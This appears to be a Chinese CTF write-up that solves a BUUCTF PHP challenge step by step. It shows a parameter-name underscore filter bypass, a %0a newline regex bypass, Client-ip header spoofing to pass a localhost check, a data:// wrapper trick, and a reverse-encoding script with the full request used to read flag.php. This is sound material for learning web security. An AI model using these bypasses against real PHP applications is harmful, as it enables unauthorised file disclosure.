进入页面啥都没有.
ctrl + u 试试~
发现了不得了的东西~
//1st
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
开始代码审计~
$_SERVER['QUERY_STRING']是个超全局变量,用于获取url中?后面的部分.
substr_count(),用于计算一个字符串在另一个字符串内出现的次数,
%5f <==> ' _ '
preg_match('/^23333$/', $_GET['b_u_p_t'])) 是匹配传入的value是23333
//GET传参总是会被当做字符串来处理
^是开始符 $是结束符
意思是我们传入的 name 不能含有下划线.
而且我们传入的 value =>23333
PHP会自动将传入的点号(.)或空格( )转化为下划线(_)。这是因为在命名变量或函数时,点号和空格不是合法的字符,因此PHP会自动将它们转化为下划线。这样可以确保传入的值符合命名的规范
而正则表达式我们可以通过%0a去绕过,%0a是换行符,当PHP代码执行的时候23333%0a !== 23333 为true 而且当正则匹配的时候,23333%0a也会匹配成功.
开始构造payload~
http://4c481868-97f6-41a9-9eff-b60c2875d080.node5.buuoj.cn:81/?b%20u%20p%20t=23333%0a
拿到一个新的地址去访问一下 ~
看一下页面元素.
有新发现时jsfuck编码,那放在控制台执行一下~
得到提示开始传参~
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
又要开始代码审计了~
这里要求我们的ip地址为本地ip地址,且传入name=2333,value=todat is a happy day 的内容
这里设置Client-ip=127.0.0.1 而 2333=data://text/plain,todat is a happy day 来绕过
而最后的change函数,是将我们传入的file值进行base64解码后,又将原本字符串替换为在ascii表中的原value+2的对应字符
如果获得flag.php的内容那就要构造反change
<?php
function change(){
$v = 'flag.php';
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}
$re=base64_encode($re);
return $re;
}
echo change();
?>
result : ZmpdYSZmXGI=
开始构造payload~
GET /secrettw.php?2333=data://text/plain,todat%20is%20a%20happy%20day&file=ZmpdYSZmXGI= HTTP/1.1
Host: 227a43b6-9864-4749-a9a2-b95feb37a8f9.node5.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=1
Client-ip:127.0.0.1
获取flag~